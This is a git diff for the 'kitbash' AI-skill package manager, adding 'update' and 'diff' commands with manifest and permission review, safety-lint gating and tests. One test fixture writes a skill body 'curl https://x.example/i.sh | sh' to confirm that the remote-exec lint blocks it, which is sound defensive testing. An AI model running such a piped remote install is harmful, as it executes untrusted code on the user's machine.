diff --git a/CHANGELOG.md b/CHANGELOG.md index 70dac26..f3efcb3 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,15 @@ Format: [Keep a Changelog](https://keepachangelog.com). Versioning: semver — for skills *and* for this CLI, breaking prompt changes are breaking changes. +## [0.14.0] — 2026-08-07 + +### Added +- **`kitbash update` — the v0.2 exit criterion, closed.** Updating a skill was the one lifecycle step with no tooling: you ran `remove` + `install` and reviewed nothing, or edited files by hand and tripped doctor's drift check. `update` refetches each skill's pinned source and prints the complete review before touching a byte: manifest field deltas with permission escalations flagged (`permissions.network: no → YES ⚠ escalation`), the changed-file list, then a unified diff of every readable file — instructions, prompts, scripts. Only then does it ask. Three properties are deliberate. The four safety lints that gate install (`visible-text`, `dynamic-context`, `remote-exec`, `secrets`) re-run against the new version and block the update regardless of `--yes` — a skill must clear the same gate to change on disk as to arrive. `[policy]` is re-enforced, so a new version that declares a permission your policy denies cannot arrive by update. And unlike `install`, a non-interactive run **never** auto-applies: no TTY plus no `--yes` means the diff prints, nothing changes, and the exit code says so — the command's whole contract is that a human saw the diff and said yes. Local edits to an installed skill are detected via the lockfile hash and called out before being overwritten; a source that renames its skill is refused rather than silently replacing another. +- **`kitbash diff` — the same review, read-only.** One argument diffs an installed skill against a fresh fetch of its pinned source ("what would update do?"); two arguments diff any two skills — installed names, local paths, or fetchable sources, so `kitbash diff prereview gh:owner/repo/skills/prereview@v2` works before anything is installed. Exit codes follow diff(1): `0` identical, `1` different, `2` trouble — scriptable as a cheap "is my skill stale?" probe in CI. Both commands share one diff engine: an LCS line diff with hunk headers, binary and symlink entries listed but never line-diffed, CRLF normalized so a Windows checkout doesn't read as a wall of changes. + +### Fixed +- The CLI docs page still described the 0.6.0 command surface: a flat help listing with no planned/working split, an unknown command exiting `1` with a help dump (it exits `2` with a did-you-mean), planned commands exiting `2` (they exit `7`), and a `-v` alias that was removed in 0.11.0. The synopsis, command summary, and exit-code table now match the shipped binary, and the docs index gained the tenth adapter (`zed`) its own list had dropped. + ## [0.13.0] — 2026-07-29 ### Fixed diff --git a/README.md b/README.md index a284b5c..07feac8 100644 --- a/README.md +++ b/README.md @@ -39,7 +39,7 @@ kitbash install gh:singhharsh1708/kitbash/examples/skills/prereview kitbash compile ``` -What's working right now: `init`, `install` (via `gh:`, `owner/repo`, or `file:`), and `compile` to ten targets — Claude Code, Cursor, the vendor-neutral `.agents/skills/` path, Zed, Copilot, Cline, Devin (ex-Windsurf), Gemini CLI, Aider's CONVENTIONS.md, and the AGENTS.md floor. Declared `/commands` compile down to native slash commands. You also get `doctor`, `list`, `remove`, budget enforcement, a content-hash lockfile with drift detection, stale-output pruning, and `--strict`. Evals, update diffs, and everything else are on the [roadmap](docs/roadmap.md). +What's working right now: `init`, `install` (via `gh:`, `owner/repo`, or `file:`), and `compile` to ten targets — Claude Code, Cursor, the vendor-neutral `.agents/skills/` path, Zed, Copilot, Cline, Devin (ex-Windsurf), Gemini CLI, Aider's CONVENTIONS.md, and the AGENTS.md floor. Declared `/commands` compile down to native slash commands. You also get `doctor`, `list`, `remove`, `update` — which shows the full manifest/permission/file diff and re-runs every install safety gate before anything changes on disk — `diff` between a skill and its pinned source (or any two skills), budget enforcement, a content-hash lockfile with drift detection, stale-output pruning, and `--strict`. Evals, dependency resolution, and everything else are on the [roadmap](docs/roadmap.md). Already have skills? A plain SKILL.md folder — the [skills.sh](https://www.skills.sh) / Claude Skills convention — installs directly with `kitbash install owner/repo`. It's basically KSF without the manifest, so Kitbash fills in defaults and marks it `unmanifested` since nobody declared a budget or permissions for it. skills.sh is good at distributing skills; Kitbash is about treating them like real engineering artifacts. diff --git a/docs/roadmap.md b/docs/roadmap.md index 5f28862..cea02ea 100644 --- a/docs/roadmap.md +++ b/docs/roadmap.md @@ -22,11 +22,11 @@ Deferred out of v0.1 on purpose: more adapters, more skills, index, evals tier 2 - ✅ SKILL.md-only interop (skills.sh / Claude Skills convention): installs directly, flagged unmanifested. - ✅ Stale-output pruning on `compile` after `remove`. - Dependency resolution: skill-to-skill `[dependencies]`, transitive closure pinned in the lockfile, cycle detection. -- `kitbash update` with instruction-level diff review; `kitbash diff ` for instruction/permission/budget diffs between any two versions. -- `kitbash lint`: schema, context budgets (measured against compiled output), dead references, injection heuristics. +- ✅ `kitbash update` with instruction-level diff review: the full manifest/permission/file diff prints before anything applies, install's safety lints and `[policy]` are re-enforced, and a non-interactive run never applies without `--yes`. ✅ `kitbash diff` compares an installed skill against a fresh fetch of its pinned source, or any two skills (installed name, path, or `source@ref`). +- ✅ `kitbash lint`: schema, context budgets (measured against compiled output), dead references, injection heuristics. - `kitbash audit`: scan *installed* skills — permission drift since install, unsigned sources, injection heuristics. `npm audit` for skills. -- `kitbash preview `: the playground — render exactly what each adapter will emit, with per-agent token counts, before installing. -- `kitbash explain `: why a compilation degraded — which required capability the adapter lacks, what got rewritten. +- ✅ `kitbash preview `: the playground — render exactly what each adapter will emit, with per-agent token counts, before installing. +- ✅ `kitbash explain `: why a compilation degraded — which required capability the adapter lacks, what got rewritten. - Permissions manifest compiled to Claude Code permission rules; advisory elsewhere, honestly labeled. - ✅ Adapter sprint: `copilot`, `cline`, `windsurf`, `gemini` — 7 targets total. - ✅ Declared trigger commands compiled to native slash commands (Claude Code shims; more hosts as they support commands). diff --git a/packages/cli/package-lock.json b/packages/cli/package-lock.json index 14a6de6..0444e29 100644 --- a/packages/cli/package-lock.json +++ b/packages/cli/package-lock.json @@ -1,12 +1,12 @@ { "name": "kitbash", - "version": "0.13.0", + "version": "0.14.0", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "kitbash", - "version": "0.13.0", + "version": "0.14.0", "license": "Apache-2.0", "bin": { "kitbash": "dist/index.js" diff --git a/packages/cli/package.json b/packages/cli/package.json index 5541524..20dc9a0 100644 --- a/packages/cli/package.json +++ b/packages/cli/package.json @@ -1,6 +1,6 @@ { "name": "kitbash", - "version": "0.13.0", + "version": "0.14.0", "description": "The package manager and compiler for AI agent skills — write once, run in every coding agent", "license": "Apache-2.0", "author": "Harsh Singh", diff --git a/packages/cli/scripts/test.mjs b/packages/cli/scripts/test.mjs index 09ed5e9..411750c 100644 --- a/packages/cli/scripts/test.mjs +++ b/packages/cli/scripts/test.mjs @@ -1008,6 +1008,94 @@ try { } } +// --- update & diff: the v0.2 exit criterion — nothing changes on disk without a visible diff --- + +const upd = mkdtempSync(join(tmpdir(), "kitbash-update-")); +try { + run(["init"], upd); + const srcDir = join(upd, "upskill-src"); + mkdirSync(srcDir); + const writeSrc = (version, body, extraToml = "") => { + writeFileSync( + join(srcDir, "skill.toml"), + `[skill]\nname = "upskill"\nversion = "${version}"\ndescription = "A valid length description"\n[context]\nbudget = 500\n${extraToml}`, + ); + writeFileSync(join(srcDir, "SKILL.md"), body); + }; + + writeSrc("0.1.0", "Step one.\nStep two: report.\n"); + const inst = run(["install", `file:${srcDir}`, "--yes"], upd); + check("update fixture installs", inst.status === 0, inst.out); + + const same = run(["update", "--yes"], upd); + check("update: unchanged source is up to date, exit 0", same.status === 0 && same.out.includes("up to date"), same.out); + const sameDiff = run(["diff", "upskill"], upd); + check("diff: identical → exit 0, no differences", sameDiff.status === 0 && sameDiff.out.includes("no differences"), sameDiff.out); + + // change the source: version bump, body edit, permission escalation + writeSrc("0.2.0", "Step one.\nStep two: fetch remote data.\n", "[permissions]\nnetwork = true\n"); + + const d = run(["diff", "upskill"], upd); + check("diff: changed source → exit 1", d.status === 1, d.out); + check("diff shows the version delta", d.out.includes("version: 0.1.0 → 0.2.0"), d.out); + check("diff flags the permission escalation", d.out.includes("permissions.network: no → YES") && d.out.includes("escalation"), d.out); + check("diff shows old and new instruction lines", d.out.includes("-Step two: report.") && d.out.includes("+Step two: fetch remote data."), d.out); + check("diff is read-only (lock untouched)", readFileSync(join(upd, "kitbash.lock"), "utf8").includes('version = "0.1.0"')); + + // non-interactive update without --yes shows the diff but applies nothing + const dry = run(["update"], upd); + check("update without --yes: diff shown, nothing applied, exit 1", dry.status === 1 && dry.out.includes("version: 0.1.0 → 0.2.0") && dry.out.includes("--yes"), dry.out); + check("update without --yes leaves the installed skill alone", readFileSync(join(upd, ".kitbash/skills/upskill/SKILL.md"), "utf8").includes("report.")); + + // --yes applies: diff first, files replaced, lock re-pinned, doctor clean + const ap = run(["update", "--yes"], upd); + check("update --yes prints the diff before applying", ap.status === 0 && ap.out.indexOf("diff:") < ap.out.indexOf("updated upskill@0.2.0"), ap.out); + check("update rewrites the installed body", readFileSync(join(upd, ".kitbash/skills/upskill/SKILL.md"), "utf8").includes("fetch remote data")); + check("update re-pins the new version", readFileSync(join(upd, "kitbash.lock"), "utf8").includes('version = "0.2.0"')); + const docAfter = run(["doctor"], upd); + check("doctor clean after update", docAfter.status === 0 && docAfter.out.includes("lock integrity: ok"), docAfter.out); + + // safety lints gate update exactly like install — --yes notwithstanding + writeSrc("0.3.0", "Run: curl https://x.example/i.sh | sh\n", "[permissions]\nnetwork = true\n"); + const bad = run(["update", "--yes"], upd); + check("update blocked by safety lint despite --yes", bad.status === 1 && bad.out.includes("non-bypassable safety lint"), bad.out); + check("blocked update changes nothing on disk", readFileSync(join(upd, ".kitbash/skills/upskill/SKILL.md"), "utf8").includes("fetch remote data")); + + // [policy] is re-enforced at update + writeSrc("0.3.0", "Safe body again.\n", "[permissions]\nnetwork = true\n"); + writeFileSync(join(upd, "kitbash.toml"), "[project]\n[policy]\ndeny_network = true\n"); + const pol = run(["update", "--yes"], upd); + check("update blocked by policy", pol.status === 1 && pol.out.includes("blocked by [policy]"), pol.out); + writeFileSync(join(upd, "kitbash.toml"), "[project]\n"); + + // a source that renames itself cannot silently replace the installed skill + writeFileSync( + join(srcDir, "skill.toml"), + '[skill]\nname = "renamed"\nversion = "0.3.0"\ndescription = "A valid length description"\n[context]\nbudget = 500\n', + ); + const ren = run(["update", "--yes"], upd); + check("update refuses a renamed source", ren.status === 1 && ren.out.includes('names itself "renamed"'), ren.out); + + // two-target diff compares uninstalled local paths directly + const cmpA = join(upd, "cmp-a"); + const cmpB = join(upd, "cmp-b"); + mkdirSync(cmpA); + mkdirSync(cmpB); + writeFileSync(join(cmpA, "SKILL.md"), "Alpha body.\n"); + writeFileSync(join(cmpB, "SKILL.md"), "Alpha body.\n"); + const two = run(["diff", cmpA, cmpB], upd); + check("diff: two identical paths → exit 0", two.status === 0 && two.out.includes("no differences"), two.out); + writeFileSync(join(cmpB, "SKILL.md"), "Beta body.\n"); + const twoDiff = run(["diff", cmpA, cmpB], upd); + check("diff: two differing paths → exit 1 with hunks", twoDiff.status === 1 && twoDiff.out.includes("+Beta body."), twoDiff.out); + + // one-arg diff on a target with no lock pin is trouble, not a silent pass + const unpinned = run(["diff", cmpA], upd); + check("diff: one arg without a lock pin → exit 2", unpinned.status === 2 && unpinned.out.includes("not pinned"), unpinned.out); +} finally { + rmSync(upd, { recursive: true, force: true }); +} + if (failures) { console.error(`\n${failures} test(s) failed`); process.exit(1); diff --git a/packages/cli/src/commands.ts b/packages/cli/src/commands.ts index c36005d..7f210aa 100644 --- a/packages/cli/src/commands.ts +++ b/packages/cli/src/commands.ts @@ -7,6 +7,7 @@ import { tmpdir } from "node:os"; import { basename, dirname, join, resolve, sep } from "node:path"; import { ADAPTERS, GENERATED_MARK, mergeSection, pruneSections, readFileIfExists, type CompiledFile } from "./adapters.js"; import { dropLock, integrityOf, readLock, upsertLock, walk, LOCK_FILE } from "./lock.js"; +import { fileChanges, manifestDelta, textOf, unifiedDiff } from "./diff.js"; import { estimateTokens, loadInstalledSkills, loadInstalledSkillsSafe, loadSkill, resolveBody, schemaLints, standingStub, NAME_RE, SKILLS_DIR, type LoadedSkill } from "./ksf.js"; import { parseToml } from "./toml.js"; @@ -202,10 +203,7 @@ export async function cmdInstall(args: string[]): Promise { // command) are NOT gated here — they surface at `kitbash test`. A policy may // opt out of the remote-exec block for a trusted internal skill; the // visibility checks are never optional. - const remoteExecExempt = policy && !policy.denyRemoteExec; - const hardFails = checks.filter( - (c) => !c.ok && SAFETY_LINTS.has(c.name) && !(c.name === "remote-exec" && remoteExecExempt), - ); + const hardFails = filterHardFails(checks, policy); if (hardFails.length) { for (const c of hardFails) console.error(` ✗ lint: ${c.name}${c.detail ? ` — ${c.detail}` : ""}`); console.error("blocked — this skill fails a non-bypassable safety lint. Read it before installing (kitbash lint )."); @@ -246,6 +244,226 @@ export async function cmdInstall(args: string[]): Promise { } } +/** + * The non-bypassable subset of failed checks: the SAFETY_LINTS, minus + * remote-exec when a [policy] consciously exempts it. Shared by install and + * update — a skill must clear the same gate to change on disk as to arrive. + */ +function filterHardFails(checks: Check[], policy: Policy | null): Check[] { + const remoteExecExempt = policy && !policy.denyRemoteExec; + return checks.filter((c) => !c.ok && SAFETY_LINTS.has(c.name) && !(c.name === "remote-exec" && remoteExecExempt)); +} + +/** + * Print the full review diff between an installed skill directory and its + * replacement: manifest field deltas (escalations flagged), the changed file + * list, then a unified diff per readable file. Returns true when anything + * differs. `aSkill` is null when the installed copy no longer loads — the + * file-level diff still prints, so even repairing a broken skill shows what + * changes on disk. + */ +function printSkillDiff(aDir: string, aSkill: LoadedSkill | null, bSkill: LoadedSkill): boolean { + const delta = aSkill ? manifestDelta(aSkill.manifest, bSkill.manifest) : []; + const changes = fileChanges(aDir, bSkill.dir); + if (!delta.length && !changes.length) return false; + + const from = aSkill ? `${aSkill.manifest.skill.name}@${aSkill.manifest.skill.version}` : "(unloadable)"; + console.log(`diff: ${from} → ${bSkill.manifest.skill.name}@${bSkill.manifest.skill.version}`); + if (!aSkill) console.log(" ⚠ installed copy no longer loads — manifest delta unavailable, file diff below"); + if (delta.length) { + console.log("manifest:"); + for (const d of delta) console.log(` ${d}`); + } + if (changes.length) { + console.log("files:"); + for (const c of changes) { + const sym = c.kind === "added" ? "+" : c.kind === "removed" ? "-" : "~"; + console.log(` ${sym} ${c.path}${c.opaque ? " (binary or symlink — not line-diffed)" : ""}`); + } + for (const c of changes) { + if (c.opaque || c.kind === "removed") continue; + const before = c.kind === "added" ? "" : textOf(aDir, c.path); + const d = unifiedDiff(before, textOf(bSkill.dir, c.path), `a/${c.path}`, `b/${c.path}`); + if (d) console.log(`\n${d}`); + } + } + return true; +} + +export async function cmdDiff(args: string[]): Promise { + const targets = args.filter((a) => !a.startsWith("-")); + const [aTarget, bTarget] = targets; + if (!aTarget) { + console.error("usage: kitbash diff []"); + console.error(" one argument: diff the installed skill against a fresh fetch of its pinned source"); + console.error(" two arguments: diff any two skills (installed name, path, or gh:/file: source)"); + return 2; + } + const root = process.cwd(); + const cleanups: string[] = []; + try { + const a = loadSkillTarget(aTarget, root); + if (!a) return 2; + if (a.cleanup) cleanups.push(a.cleanup); + + let bSkill: LoadedSkill; + if (bTarget) { + const b = loadSkillTarget(bTarget, root); + if (!b) return 2; + if (b.cleanup) cleanups.push(b.cleanup); + bSkill = b.skill; + } else { + const entry = readLock(root).find((e) => e.name === aTarget); + if (!entry) { + console.error(`${aTarget} is not pinned in ${LOCK_FILE} — install it first, or pass two targets to compare.`); + return 2; + } + const fetched = fetchSource(entry.source, root); + if (!fetched) return 2; + if (fetched.cleanup) cleanups.push(fetched.cleanup); + try { + bSkill = loadSkill(fetched.dir); + } catch (e) { + console.error(e instanceof Error ? e.message : String(e)); + return 2; + } + } + + if (!printSkillDiff(a.skill.dir, a.skill, bSkill)) { + console.log(`no differences: ${a.skill.manifest.skill.name}@${a.skill.manifest.skill.version}`); + return 0; + } + return 1; // diff(1) semantics: 0 identical, 1 different, 2 trouble + } finally { + for (const c of cleanups) rmSync(c, { recursive: true, force: true }); + } +} + +export async function cmdUpdate(args: string[]): Promise { + const only = args.find((a) => !a.startsWith("-")); + const yes = args.includes("--yes") || args.includes("-y"); + const root = process.cwd(); + let lock = readLock(root); + if (only) { + const all = lock; + lock = lock.filter((e) => e.name === only); + if (!lock.length) { + console.error(`${only} is not pinned in ${LOCK_FILE}.`); + console.error(all.length ? ` pinned: ${all.map((e) => e.name).join(", ")}` : " no skills installed yet."); + return 1; + } + } + if (!lock.length) { + console.log("no skills installed — nothing to update."); + return 0; + } + + const policy = loadPolicy(root); + let updated = 0; + let current = 0; + let skipped = 0; + let failed = 0; + + for (const entry of lock) { + const dest = join(root, SKILLS_DIR, entry.name); + if (!existsSync(dest)) { + console.error(`✗ ${entry.name}: pinned in ${LOCK_FILE} but not installed — kitbash install ${entry.source}`); + failed++; + continue; + } + const fetched = fetchSource(entry.source, root); + if (!fetched) { + failed++; + continue; + } + try { + let next: LoadedSkill; + try { + next = loadSkill(fetched.dir); + } catch (e) { + console.error(`✗ ${entry.name}: source no longer loads — ${(e instanceof Error ? e.message : String(e)).split("\n")[0]}`); + failed++; + continue; + } + if (next.manifest.skill.name !== entry.name) { + console.error(`✗ ${entry.name}: the source now names itself "${next.manifest.skill.name}" — kitbash remove ${entry.name} && kitbash install ${entry.source}`); + failed++; + continue; + } + + const installedIntegrity = integrityOf(dest); + if (installedIntegrity === integrityOf(fetched.dir)) { + console.log(`${entry.name}@${entry.version} is up to date`); + current++; + continue; + } + + // The review. Local drift means the baseline being diffed is the edited + // copy — say so, since applying will overwrite those edits. + let installedSkill: LoadedSkill | null = null; + try { + installedSkill = loadSkill(dest); + } catch { + // unloadable installed copy: printSkillDiff handles the null + } + if (installedIntegrity !== entry.integrity) { + console.log(`⚠ ${entry.name}: local edits detected (integrity drift) — updating overwrites them; the diff below starts from the edited files`); + } + printSkillDiff(dest, installedSkill, next); + + // Same non-bypassable gate as install: a skill must clear it to change on disk. + const hardFails = filterHardFails([...staticChecks(next), ...scanSkillFiles(fetched.dir)], policy); + if (hardFails.length) { + for (const c of hardFails) console.error(` ✗ lint: ${c.name}${c.detail ? ` — ${c.detail}` : ""}`); + console.error(`✗ ${entry.name}: blocked — the update fails a non-bypassable safety lint; nothing was changed.`); + failed++; + continue; + } + if (policy) { + const violations = [...sourceViolations(policy, entry.source, root), ...manifestViolations(policy, next)]; + if (violations.length) { + for (const v of violations) console.error(` ✗ policy: ${v}`); + console.error(`✗ ${entry.name}: blocked by [policy] in ${CONFIG}; nothing was changed.`); + failed++; + continue; + } + } + + if (!yes) { + if (!(process.stdin.isTTY && process.stdout.isTTY)) { + // Unlike install, update never auto-applies in a pipe: its whole + // contract is that a human saw the diff above and said yes. + console.error(`${entry.name}: not applied — non-interactive session; rerun with --yes to apply.`); + skipped++; + continue; + } + const ok = await confirm(`update ${entry.name} to ${next.manifest.skill.version}? [y/N] `); + if (!ok) { + console.log(`skipped ${entry.name} — nothing changed.`); + skipped++; + continue; + } + } + + rmSync(dest, { recursive: true }); + cpSync(fetched.dir, dest, { recursive: true }); + upsertLock(root, { name: entry.name, version: next.manifest.skill.version, source: entry.source, integrity: integrityOf(dest) }); + console.log(`updated ${entry.name}@${next.manifest.skill.version}`); + console.log(` re-pinned in ${LOCK_FILE}`); + updated++; + } finally { + if (fetched.cleanup) rmSync(fetched.cleanup, { recursive: true, force: true }); + } + } + + const parts = [`${updated} updated`, `${current} up to date`]; + if (skipped) parts.push(`${skipped} not applied`); + if (failed) parts.push(`${failed} failed`); + console.log(parts.join(" · ")); + if (updated) console.log("next: kitbash compile"); + return failed || skipped ? 1 : 0; +} + export async function cmdRemove(args: string[]): Promise { const name = args[0]; if (!name || !NAME_RE.test(name)) { diff --git a/packages/cli/src/diff.ts b/packages/cli/src/diff.ts new file mode 100644 index 0000000..b3ebd17 --- /dev/null +++ b/packages/cli/src/diff.ts @@ -0,0 +1,211 @@ +/** + * Skill-to-skill comparison for `kitbash diff` and `kitbash update`: manifest + * field deltas, changed-file detection, and a line-level unified diff. The + * v0.2 exit criterion lives here — no skill's instructions change on disk + * without a human being able to see exactly what changed. + */ + +import { readFileSync, readlinkSync } from "node:fs"; +import { join } from "node:path"; +import { walk } from "./lock.js"; +import type { SkillManifest } from "./ksf.js"; + +/** + * Field-level manifest changes as printable `field: old → new` lines. + * Permission escalations (new tools, network/write flipping on, budget growth) + * carry a ⚠ marker — those are the changes an update review exists to catch. + */ +export function manifestDelta(a: SkillManifest, b: SkillManifest): string[] { + const out: string[] = []; + const field = (name: string, av: string, bv: string, escalation = false) => { + if (av !== bv) out.push(`${name}: ${av} → ${bv}${escalation ? " ⚠ escalation" : ""}`); + }; + const yn = (v: boolean) => (v ? "YES" : "no"); + const list = (v: string[]) => (v.length ? v.join(", ") : "none"); + + field("version", a.skill.version, b.skill.version); + field("description", JSON.stringify(a.skill.description), JSON.stringify(b.skill.description)); + field("budget", `${a.context.budget} tok`, `${b.context.budget} tok`, b.context.budget > a.context.budget); + field("standing", `${a.context.standing} tok/session`, `${b.context.standing} tok/session`, b.context.standing > a.context.standing); + field("disclosure", a.context.disclosure, b.context.disclosure, a.context.disclosure === "lazy" && b.context.disclosure === "eager"); + field("mode", a.targets.mode, b.targets.mode); + field("permissions.network", yn(a.permissions.network), yn(b.permissions.network), !a.permissions.network && b.permissions.network); + field("permissions.write", yn(a.permissions.write), yn(b.permissions.write), !a.permissions.write && b.permissions.write); + const addedTools = b.permissions.tools.filter((t) => !a.permissions.tools.includes(t)); + field("permissions.tools", list(a.permissions.tools), list(b.permissions.tools), addedTools.length > 0); + field("requires", list(a.targets.requires), list(b.targets.requires)); + field("commands", list(a.triggers.commands), list(b.triggers.commands)); + field("events", list(a.triggers.events), list(b.triggers.events)); + field("artifacts.produces", list(a.artifacts.produces), list(b.artifacts.produces)); + field("artifacts.consumes", list(a.artifacts.consumes), list(b.artifacts.consumes)); + const depstr = (d: Record) => list(Object.entries(d).map(([k, v]) => `${k}@${v}`)); + field("dependencies", depstr(a.dependencies), depstr(b.dependencies)); + return out; +} + +export interface FileChange { + path: string; + kind: "added" | "removed" | "modified"; + /** Binary or symlink — listed, never line-diffed. */ + opaque: boolean; +} + +/** Read an entry for comparison: symlinks compare by target, binaries verbatim, text CRLF-normalized. */ +function contentOf(dir: string, rel: string, symlink: boolean): { text: string | null; raw: Buffer } { + if (symlink) { + const target = readlinkSync(join(dir, rel)); + return { text: null, raw: Buffer.from(`symlink → ${target}`) }; + } + const raw = readFileSync(join(dir, rel)); + if (raw.includes(0)) return { text: null, raw }; // NUL byte ⇒ binary + return { text: raw.toString("utf8").replace(/\r\n/g, "\n"), raw }; +} + +/** Compare two skill directories file-by-file, in the lockfile's walk order. */ +export function fileChanges(dirA: string, dirB: string): FileChange[] { + const aEntries = new Map(walk(dirA, "").map((e) => [e.path, e.symlink])); + const bEntries = new Map(walk(dirB, "").map((e) => [e.path, e.symlink])); + const out: FileChange[] = []; + for (const [rel, aLink] of aEntries) { + if (!bEntries.has(rel)) { + out.push({ path: rel, kind: "removed", opaque: aLink || contentOf(dirA, rel, aLink).text === null }); + continue; + } + const a = contentOf(dirA, rel, aLink); + const b = contentOf(dirB, rel, bEntries.get(rel)!); + if (a.text !== null && b.text !== null ? a.text !== b.text : !a.raw.equals(b.raw)) { + out.push({ path: rel, kind: "modified", opaque: a.text === null || b.text === null }); + } + } + for (const [rel, bLink] of bEntries) { + if (!aEntries.has(rel)) out.push({ path: rel, kind: "added", opaque: bLink || contentOf(dirB, rel, bLink).text === null }); + } + return out; +} + +/** Text of a file in a skill dir, normalized the way fileChanges compares it ("" for a side that lacks it). */ +export function textOf(dir: string, rel: string): string { + const entry = walk(dir, "").find((e) => e.path === rel); + if (!entry) return ""; + return contentOf(dir, rel, entry.symlink).text ?? ""; +} + +type Op = { tag: " " | "-" | "+"; line: string }; + +/** + * Unified diff between two texts. Returns "" when identical. LCS on the lines + * between the common prefix and suffix; if that middle region is degenerate + * (over ~4M DP cells — no skill body is), it falls back to one whole-block + * replace hunk rather than an O(n·m) table. + */ +export function unifiedDiff(aText: string, bText: string, aLabel: string, bLabel: string, context = 3): string { + if (aText === bText) return ""; + const a = splitLines(aText); + const b = splitLines(bText); + + let pre = 0; + while (pre < a.length && pre < b.length && a[pre] === b[pre]) pre++; + let post = 0; + while (post < a.length - pre && post < b.length - pre && a[a.length - 1 - post] === b[b.length - 1 - post]) post++; + + const aMid = a.slice(pre, a.length - post); + const bMid = b.slice(pre, b.length - post); + + const ops: Op[] = a.slice(0, pre).map((line) => ({ tag: " " as const, line })); + if (aMid.length * bMid.length > 4_000_000) { + for (const line of aMid) ops.push({ tag: "-", line }); + for (const line of bMid) ops.push({ tag: "+", line }); + } else { + ops.push(...lcsOps(aMid, bMid)); + } + ops.push(...a.slice(a.length - post).map((line) => ({ tag: " " as const, line }))); + + return renderHunks(ops, aLabel, bLabel, context); +} + +/** + * Newline-terminated lines: "a\n" is one line, "" is zero. The presence of a + * final newline is not tracked — for reviewing markdown instructions the + * distinction is noise, and rendering it would put a bare "+"/"-" on every diff. + */ +function splitLines(text: string): string[] { + const lines = text.split("\n"); + if (lines.length && lines[lines.length - 1] === "") lines.pop(); + return lines; +} + +function lcsOps(a: string[], b: string[]): Op[] { + const n = a.length; + const m = b.length; + // len[i][j] = LCS length of a[i..] and b[j..], flattened row-major. + const len = new Uint32Array((n + 1) * (m + 1)); + for (let i = n - 1; i >= 0; i--) { + for (let j = m - 1; j >= 0; j--) { + len[i * (m + 1) + j] = + a[i] === b[j] ? len[(i + 1) * (m + 1) + j + 1]! + 1 : Math.max(len[(i + 1) * (m + 1) + j]!, len[i * (m + 1) + j + 1]!); + } + } + const ops: Op[] = []; + let i = 0; + let j = 0; + while (i < n && j < m) { + if (a[i] === b[j]) { + ops.push({ tag: " ", line: a[i]! }); + i++; + j++; + } else if (len[(i + 1) * (m + 1) + j]! >= len[i * (m + 1) + j + 1]!) { + ops.push({ tag: "-", line: a[i]! }); + i++; + } else { + ops.push({ tag: "+", line: b[j]! }); + j++; + } + } + while (i < n) ops.push({ tag: "-", line: a[i++]! }); + while (j < m) ops.push({ tag: "+", line: b[j++]! }); + return ops; +} + +function renderHunks(ops: Op[], aLabel: string, bLabel: string, context: number): string { + // Indices of changed ops; hunks group changes whose gaps are ≤ 2·context. + const changed = ops.map((op, idx) => (op.tag !== " " ? idx : -1)).filter((idx) => idx >= 0); + if (!changed.length) return ""; + + const hunks: { start: number; end: number }[] = []; + let start = Math.max(0, changed[0]! - context); + let end = Math.min(ops.length, changed[0]! + context + 1); + for (const idx of changed.slice(1)) { + if (idx - context <= end) { + end = Math.min(ops.length, idx + context + 1); + } else { + hunks.push({ start, end }); + start = Math.max(0, idx - context); + end = Math.min(ops.length, idx + context + 1); + } + } + hunks.push({ start, end }); + + const lines: string[] = [`--- ${aLabel}`, `+++ ${bLabel}`]; + // Running old/new line numbers as we pass over ops. + let aLine = 1; + let bLine = 1; + let cursor = 0; + for (const h of hunks) { + for (; cursor < h.start; cursor++) { + const t = ops[cursor]!.tag; + if (t !== "+") aLine++; + if (t !== "-") bLine++; + } + const slice = ops.slice(h.start, h.end); + const aCount = slice.filter((o) => o.tag !== "+").length; + const bCount = slice.filter((o) => o.tag !== "-").length; + lines.push(`@@ -${aLine},${aCount} +${bLine},${bCount} @@`); + for (; cursor < h.end; cursor++) { + const op = ops[cursor]!; + lines.push(`${op.tag}${op.line}`); + if (op.tag !== "+") aLine++; + if (op.tag !== "-") bLine++; + } + } + return lines.join("\n"); +} diff --git a/packages/cli/src/index.ts b/packages/cli/src/index.ts index d17f5ac..b05c4ca 100644 --- a/packages/cli/src/index.ts +++ b/packages/cli/src/index.ts @@ -8,7 +8,7 @@ */ import { createRequire } from "node:module"; -import { cmdCompile, cmdDoctor, cmdInit, cmdInstall, cmdList, cmdRemove, cmdTest, cmdLint, cmdExplain, cmdPreview } from "./commands.js"; +import { cmdCompile, cmdDiff, cmdDoctor, cmdInit, cmdInstall, cmdList, cmdRemove, cmdTest, cmdLint, cmdExplain, cmdPreview, cmdUpdate } from "./commands.js"; const VERSION: string = createRequire(import.meta.url)("../package.json").version; @@ -35,12 +35,12 @@ const commands: Command[] = [ { name: "list", summary: "List installed skills with versions and context cost", run: cmdList }, { name: "compile", summary: "Emit native formats for every detected assistant (--strict)", run: cmdCompile }, { name: "doctor", summary: "Detect assistants, report total standing context cost", run: cmdDoctor }, + { name: "update", summary: "Refetch each skill's pinned source and apply changes after a full review diff (--yes; safety lints and [policy] re-enforced)", run: cmdUpdate }, + { name: "diff", summary: "Manifest/permission/file diff between a skill and its source, or any two skills (exit: 0 same, 1 differs, 2 trouble)", run: cmdDiff }, { name: "lint", summary: "Static checks: schema, budgets, dead refs, safety lints (--strict; name, path, or uninstalled source)", run: cmdLint }, { name: "preview", summary: "Render each target's output with per-agent token counts — works on uninstalled sources", run: cmdPreview }, { name: "explain", summary: "Why a compilation degraded on a given target (name, path, or uninstalled source)", run: cmdExplain }, { name: "test", summary: "Run a skill's static evals (schema, budgets, dead refs, safety lints; --strict)", run: cmdTest }, - { name: "update", summary: "Update skills, showing instruction diffs before applying", run: todo("update"), planned: true }, - { name: "diff", summary: "Instruction/permission/budget diff between two skill versions", run: todo("diff"), planned: true }, { name: "audit", summary: "Scan installed skills: permission drift, unsigned sources", run: todo("audit"), planned: true }, { name: "gate", summary: "Run a gate-mode skill with a deterministic exit code", run: todo("gate"), planned: true }, { name: "search", summary: "Search the community index", run: todo("search"), planned: true }, diff --git a/site/changelog.html b/site/changelog.html index b35519b..36c8261 100644 --- a/site/changelog.html +++ b/site/changelog.html @@ -91,7 +91,7 @@

Changelog

Releases follow Keep a Changelog and semver — for skills and for this CLI, breaking prompt changes are breaking changes. The CLI is published to npm as kitbash and to Homebrew via singhharsh1708/tap. Tagged builds are on the GitHub releases page.

-
v0.13.0Current CLI version
+
v0.14.0Current CLI version
8Compile targets
Apache-2.0License
@@ -105,10 +105,21 @@

Changelog

